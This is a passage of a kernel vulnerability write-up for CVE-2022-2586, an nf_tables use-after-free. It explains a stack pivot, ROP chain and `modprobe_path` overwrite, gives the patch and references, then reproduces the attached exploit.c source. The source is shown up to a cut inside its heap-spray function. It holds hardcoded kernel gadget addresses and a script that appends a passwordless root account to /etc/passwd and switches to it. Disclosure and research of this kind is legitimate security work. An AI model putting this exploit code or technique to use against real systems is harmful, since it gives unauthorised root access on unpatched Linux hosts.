&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_regs *regs,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
const struct nft_pktinfo *pkt);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned \
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
size;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
(*init)(const struct nft_ctx *ctx,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
const struct nlattr *const tb[],</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_object *obj);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
(*destroy)(const struct nft_ctx *ctx,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp; struct nft_object *obj);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
(*dump)(struct sk_buff *skb,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_object *obj,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
bool reset);</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
(*update)(struct nft_object *obj,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp; struct nft_object *newobj);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct \
nft_object_type&nbsp;&nbsp;&nbsp; *type;</p> <p class="MsoNormal">};</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">We need to first trigger the UAF, and use the `nla_memdup()` refill to \
take control over `obj` and place our arbitrary contents there. We should point `obj-&gt;ops` \
to the leaked `nft_object` address, where our stack pivot gadget address is  stored.</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal">obj = *nft_set_ext_obj(ext);</p>
<p class="MsoNormal">obj-&gt;ops-&gt;eval(obj, regs, pkt);</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">The first argument is the `obj` address itself, so we can find a stack \
pivot gadget to move the stack to `obj` and execute a ROP chain to achieve arbitrary code \
execution.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">We found the gadget: `push rdi ; pop rsp ; add cl, cl ; ret`, which is \
exactly what we need. The ROP chain will use a write-what-where gadget to write an arbitrary \
path into `modprobe_path`: `mov qword ptr [rdx], rax ; ret`.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">We can finally force the kernel to \
execute our own script as root by executing a dummy script with magic numbers unknown to the \
kernel, resulting in a call to `call_modprobe()` to execute the usermode helper, which is now \
our custom path.  This will allow us to obtain root privileges outside the network namespace \
(in the initial namespace).</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">## Patch</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">The main patch is pretty simple. It just makes sure that the current table \
is the one the set we refer (using its `SET_ID`) belongs to:</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">```c</p>
<p class="MsoNormal">--- a/net/netfilter/nf_tables_api.c</p>
<p class="MsoNormal">+++ b/net/netfilter/nf_tables_api.c</p>
<p class="MsoNormal">@@ -3842,6 +3842,7 @@ static struct nft_set *nft_set_lookup_byhandle(const \
struct nft_table *table,</p> <p class="MsoNormal">}</p>
<p class="MsoNormal">static struct nft_set *nft_set_lookup_byid(const struct net *net,</p>
<p class="MsoNormal">+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp; const struct nft_table *table,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp; const struct nlattr *nla, u8 genmask)</p> <p class="MsoNormal">{</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nftables_pernet *nft_net = nft_pernet(net);</p> <p class="MsoNormal">@@ -3853,6 +3854,7 @@ \
static struct nft_set *nft_set_lookup_byid(const struct net *net,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_set *set = nft_trans_set(trans);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (id == nft_trans_set_id(trans) &amp;&amp;</p> <p \
class="MsoNormal">+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp \
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp; set-&gt;table == table &amp;&amp;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp; nft_active_genmask(set, genmask))</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return \
set;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}</p> <p class="MsoNormal">@@ -3873,7 +3875,7 @@ struct nft_set *nft_set_lookup_global(const \
struct net *net,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (!nla_set_id)</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
return set;</p> <p class="MsoNormal">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
set = nft_set_lookup_byid(net, nla_set_id, genmask);</p> <p \
class="MsoNormal">+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
set = nft_set_lookup_byid(net, table, nla_set_id, genmask);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return set;</p> \
<p class="MsoNormal">}</p> <p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">## Conclusion</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">In this post we analyzed a use-after-free in the Linux Kernel and our \
solution to develop a LPE exploit that bypasses the default mitigations (SMAP, SMEP, KASLR, \
Heap randomization, ...).</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">## References</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Patches:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">- \[1\] \
[https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo@canonical.com/T/](http \
s://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo@canonical.com/T/)</p> <p \
class="MsoNormal">- \[2\] \
[https://lore.kernel.org/all/20220819153832.533116527@linuxfoundation.org/](https://lore.kernel.org/all/20220819153832.533116527@linuxfoundation.org/)</p>
 <p class="MsoNormal">- \[3\] \
[https://lore.kernel.org/lkml/20220819153832.580611023@linuxfoundation.org/](https://lore.kernel.org/lkml/20220819153832.580611023@linuxfoundation.org/)</p>
 <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Advisory and disclosure:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">- \[4\] \
[https://www.zerodayinitiative.com/advisories/ZDI-22-1118/](https://www.zerodayinitiative.com/advisories/ZDI-22-1118/)</p>
 <p class="MsoNormal">- \[5\] \
[https://www.openwall.com/lists/oss-security/2022/08/09/5](https://www.openwall.com/lists/oss-security/2022/08/09/5)</p>
 <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Distribution kernel updates:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">- \[6\] \
[https://ubuntu.com/security/CVE-2022-2586](https://ubuntu.com/security/CVE-2022-2586)</p> <p \
class="MsoNormal">- \[7\] \
[https://security-tracker.debian.org/tracker/CVE-2022-2586](https://security-tracker.debian.org/tracker/CVE-2022-2586)</p>
 <p class="MsoNormal">- \[8\] \
[https://access.redhat.com/security/cve/cve-2022-2586](https://access.redhat.com/security/cve/cve-2022-2586)</p>
 <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
</div>
</body>
</html>


["exploit.c" (text/plain)]

/*
 * LPE N-day Exploit for CVE-2022-2586: Linux kernel nft_object UAF
 * gcc exploit.c -o exploit -lmnl -lnftnl -no-pie -lpthread
 * Author: Alejandro Guerrero <aguerrero@qualys.com>
 * Copyright (C) 2022 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/ip.h>
#include <errno.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <time.h>
#include <signal.h>
#include <sys/resource.h>
#include <linux/netfilter.h>
#include <libnftnl/chain.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter/nf_tables.h>

#define OFF_TO_OBJ_LST 184

#define TABLE_KLK_UAF_A "table1_klk"
#define TABLE_KLK_UAF_B "table2_klk"
#define SET_KLK_UAF "set1_klk"

#define TABLE_HLK_UAF_A "table1_hlk"
#define TABLE_HLK_UAF_B "table2_hlk"
#define TABLE_OBJ_SPRAY_A "table3_hlk"
#define SET_HLK_UAF "set1_hlk"

#define TABLE_RD_UAF_A "table1_rd"
#define TABLE_RD_UAF_B "table2_rd"
#define OBJ_RD_UAF "obj1_rd"
#define SET_RD_UAF "set1_rd"

#define TABLE_RP_UAF_A "table1_rp"
#define TABLE_RP_UAF_B "table2_rp"
#define OBJ_RP_UAF "obj1_rp"
#define SET_RP_UAF "set1_rp"
#define CHAIN_RP_UAF "chain1_rp"

#define DEFAULT_BASE 0xffffffff81000000

#define MAX_FDS 1024
#define OBJ_DEF_NAME 8

#define SINGLE_OPEN_OFF 0x37c890

#define MAX_SPRAY_TABLES 4096*3

#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337

#define UNSHARE_PATH "/bin/unshare"

#define DUMMY_MODPROBE_TRIGGER "/tmp/p"
#define CALLBACK_ROOT_SCRIPT "/tmp/x"

#define DEF_CORE 3

#define SA struct sockaddr

typedef enum {
	OBJECT_TYPE_UNKNOWN,
	OBJECT_TYPE_COUNTER,
	OBJECT_TYPE_LIMIT
} obj_t;

/* Function prototype definitions */
void launch_trigger(void);
void delete_table(char *);
void dummy_func(void);

/* Leaked addresses */
uint64_t tbl_leaked_addr = 0;
uint64_t obj_leaked_addr = 0;
uint64_t so_leaked_addr = 0;

/* KASLR base */
uint64_t kaslr_base = DEFAULT_BASE;

/* Addresses for functions or ROP gadgets */
uint64_t stack_pivot_addr = 0xffffffff817479b6; // push rdi ; pop rsp ; add cl, cl ; ret
uint64_t pop_rdi_ret = 0xffffffff810a06e0; // pop rdi ; ret
uint64_t xor_dh_dh_ret = 0xffffffff81537a39; // xor dh, dh ; ret
uint64_t mov_rdi_rax_jne_xor_eax_eax_ret = 0xffffffff815ee2f4; // mov rdi, rax ; jne \
0xffffffff815ee2e1 ; xor eax, eax ; ret uint64_t commit_creds = 0xffffffff810e1520; // \
commit_creds() uint64_t prepare_kernel_cred = 0xffffffff810e1780; // prepare_kernel_cred()
uint64_t kpti_trampoline = 0xffffffff81e01006; // swapgs_restore_regs_and_return_to_usermode + \
22 uint64_t pop_rdx_ret = 0xffffffff81022ab2; // pop rdx ; ret
uint64_t pop_rax_ret = 0xffffffff81046361; // pop rax ; ret
uint64_t mov_qptr_rdx_rax_ret = 0xffffffff8165aa85; // mov qword ptr [rdx], rax ; ret
uint64_t modprobe_path = 0xffffffff82e8a0e0; // modprobe_path

/* Saved userland registers */
uint64_t user_rip = (uint64_t)dummy_func;
uint64_t user_cs = 0;
uint64_t user_rflags = 0;
uint64_t user_sp = 0;
uint64_t user_ss = 0;

/* file descriptors for seq_operations spraying */
int fds[MAX_FDS] = { 0 };

int first_tbl_sp = 1;
char **tbl_ptr = NULL;

void dummy_func(void) {
	exit(0);
	return;
}

/* Exit printing a message before */
void bye(const char *msg) {
	if(msg != NULL)
		puts(msg);
	exit(1);
	return;
}

/* Launch the trigger and get root! */
void launch_trigger(void) {
	system(DUMMY_MODPROBE_TRIGGER " 2>/dev/null");
	system("su r00t");
	return;
}

/* Prepare dummy script and callback script */
void drop_callback_scripts(void) {
	system("bash -c \"echo -e '\xff\xff\xff\xff\xff\xff' > " DUMMY_MODPROBE_TRIGGER "\"");
	system("chmod +x " DUMMY_MODPROBE_TRIGGER);
	system("echo '#!/bin/bash' > " CALLBACK_ROOT_SCRIPT);
	system("echo 'echo \"r00t::0:0:r00t:/:/bin/sh\" >> /etc/passwd' >> " CALLBACK_ROOT_SCRIPT);
	system("chmod +x " CALLBACK_ROOT_SCRIPT);
	return;
}

/* Save initial userland registers */
void save_state(void) {
	__asm__(".intel_syntax noprefix;"
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	".att_syntax");
	return;
}

/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len) {
	unsigned int i = 0, j = 0;

	for(i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) {
		if(i % 16 == 0)
			printf("0x%06x: ", i);

		if(i < len)
			printf("%02x ", 0xFF & ((char*)mem)[i]);
		else
			printf("   ");

		if(i % 16 == (16 - 1)) {
			for(j = i - (16 - 1); j <= i; j++) {
				if(j >= len)
					putchar(' ');
				else if(isprint(((char*)mem)[j]))
					putchar(0xFF & ((char*)mem)[j]);
				else
					putchar('.');
			}
			putchar('\n');
		}
	}
	return;
}

/* Assign to a specific CPU core */
void assign_to_core(int core_id) {
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(core_id, &mask);
	if(sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
		bye("[-] Error at sched_setaffinity()");
	return;
}

/* Modify process rlimit for RLIMIT_NOFILE */
void modify_rlimit(void) {
	struct rlimit old_lim, lim, new_lim;
	
	if(getrlimit(RLIMIT_NOFILE, &old_lim) != 0)
		bye("[-] Error in getrlimit()");
		
	lim.rlim_cur = old_lim.rlim_max;
	lim.rlim_max = old_lim.rlim_max;

	if(setrlimit(RLIMIT_NOFILE, &lim) == -1)
		bye("[-] Error at setrlimit()");

	return;
}

/* Generate a random name */
char *generate_rnd_name(void) {
	char dict[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_";
	char *ptr = calloc(OBJ_DEF_NAME + 1, sizeof(char));
	
	if(!ptr)
		bye("[-] Error at calloc()");
	
	for(int i = 0 ; i < OBJ_DEF_NAME ; i++)
		ptr[i] = dict[rand() % strlen(dict)];
	
	return ptr;
}

/* Append a table to the list of sprayed ones */
void tbl_append_name(char *table_name) {
	int i = 0, s = 0;
	
	if(!tbl_ptr)
		bye("[-] tbl_ptr uninitialized");
	
	while(i < MAX_SPRAY_TABLES) {
		if(tbl_ptr[i] == NULL) {
			s = 1;
			tbl_ptr[i] = strdup(table_name);
			break;
		}
		i++;
	}
	
	if(!s)
		bye("[-] Value MAX_SPRAY_TABLES exceeded");

	return;
}

/* Cleanup all the tables we sprayed with */
void cleanup_spray_tables(void) {
	int i = 0;
	
	if(!tbl_ptr)
		bye("[-] tbl_ptr uninitialized");

	while(i < MAX_SPRAY_TABLES) {
		if(tbl_ptr[i] != NULL)
			delete_table(tbl_ptr[i]);
		i++;
	}
		
	return;
}

/* Spray with nla_memdup() allocations (arbitrary data and size) */
void spray_memdup(void *spray_data, size_t spray_size, size_t n) {
	struct mnl_socket *s = NULL;
	struct mnl_nlmsg_batch *batch = NULL;
	struct nlmsghdr *nh = NULL;
	int r = 0, seq = 0;
	char buf[16384] = { 0 };
	char *table_name = NULL;
	struct nftnl_table *table = NULL;
	size_t i = 0;
	
	assign_to_core(DEF_CORE);
	
	if(first_tbl_sp) {
		first_tbl_sp = 0;
		tbl_ptr = calloc(MAX_SPRAY_TABLES + 1, sizeof(char *));
		if(!tbl_ptr)
			bye("[-] Error at calloc()");
	}

	while(i < n) {
		table_name = generate_rnd_name();
		
		tbl_append_name(table_name);

		s = mnl_socket_open(NETLINK_NETFILTER);
		if(!s)
			bye("[-] Failed to create netfilter socket");
		
		batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
		nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
		
		table = nftnl_table_alloc();
		nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
		nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, spray_data, spray_size);

		nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, \
NFPROTO_IPV4, NLM_F_CREATE, seq++);  nftnl_table_nlmsg_build_payload(nh, table);
		mnl_nlmsg_batch_next(batch);
		
